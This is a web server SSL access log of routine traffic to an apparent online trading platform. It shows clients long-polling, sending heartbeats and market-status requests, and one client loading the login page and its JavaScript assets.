[09/Jan/2026:10:44:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926939174 HTTP/1.1" -
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/login.html HTTP/1.1" 1752
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161913 HTTP/1.1" 85
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767926939862 HTTP/1.1" 3179
[09/Jan/2026:10:44:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:10:44:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926956199 HTTP/1.1" -
[09/Jan/2026:10:44:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926946217 HTTP/1.1" -
[09/Jan/2026:10:44:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926944203 HTTP/1.1" -
[09/Jan/2026:10:44:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926961250 HTTP/1.1" -
[09/Jan/2026:10:44:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:44:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:44:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:44:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:44:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926951407 HTTP/1.1" -
[09/Jan/2026:10:44:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926949250 HTTP/1.1" -
[09/Jan/2026:10:44:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926967228 HTTP/1.1" -
[09/Jan/2026:10:44:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926956452 HTTP/1.1" -
[09/Jan/2026:10:44:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926954285 HTTP/1.1" -
[09/Jan/2026:10:44:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:44:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926973224 HTTP/1.1" -
[09/Jan/2026:10:44:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926961614 HTTP/1.1" -
[09/Jan/2026:10:44:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926959303 HTTP/1.1" -
[09/Jan/2026:10:44:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926966781 HTTP/1.1" -
[09/Jan/2026:10:44:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926964325 HTTP/1.1" -
[09/Jan/2026:10:44:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:44:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:44:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926979230 HTTP/1.1" -
[09/Jan/2026:10:45:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926969374 HTTP/1.1" -
[09/Jan/2026:10:45:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926971907 HTTP/1.1" -
[09/Jan/2026:10:45:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926985229 HTTP/1.1" -
[09/Jan/2026:10:45:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926974398 HTTP/1.1" -
[09/Jan/2026:10:45:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926977043 HTTP/1.1" -
[09/Jan/2026:10:45:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926991238 HTTP/1.1" -
[09/Jan/2026:10:45:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:45:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:45:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:45:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:45:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926979446 HTTP/1.1" -
[09/Jan/2026:10:45:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926982169 HTTP/1.1" -
[09/Jan/2026:10:45:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:45:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:45:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:45:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:45:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926996296 HTTP/1.1" -
[09/Jan/2026:10:45:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926984482 HTTP/1.1" -
[09/Jan/2026:10:45:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926987228 HTTP/1.1" -
[09/Jan/2026:10:45:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:45:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:45:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927001328 HTTP/1.1" -
[09/Jan/2026:10:45:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926989530 HTTP/1.1" -
[09/Jan/2026:10:45:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926992368 HTTP/1.1" -
[09/Jan/2026:10:45:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927006596 HTTP/1.1" -
[09/Jan/2026:10:45:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:45:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:45:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926994558 HTTP/1.1" -
[09/Jan/2026:10:45:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926997539 HTTP/1.1" -
[09/Jan/2026:10:45:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927011656 HTTP/1.1" -
[09/Jan/2026:10:45:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926999580 HTTP/1.1" -
[09/Jan/2026:10:45:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:10:45:31 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:10:45:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927002682 HTTP/1.1" -
[09/Jan/2026:10:45:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927016735 HTTP/1.1" -
[09/Jan/2026:10:45:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927004614 HTTP/1.1" -
[09/Jan/2026:10:45:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927007810 HTTP/1.1" -
[09/Jan/2026:10:45:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927021790 HTTP/1.1" -
[09/Jan/2026:10:45:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:45:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:45:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:45:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
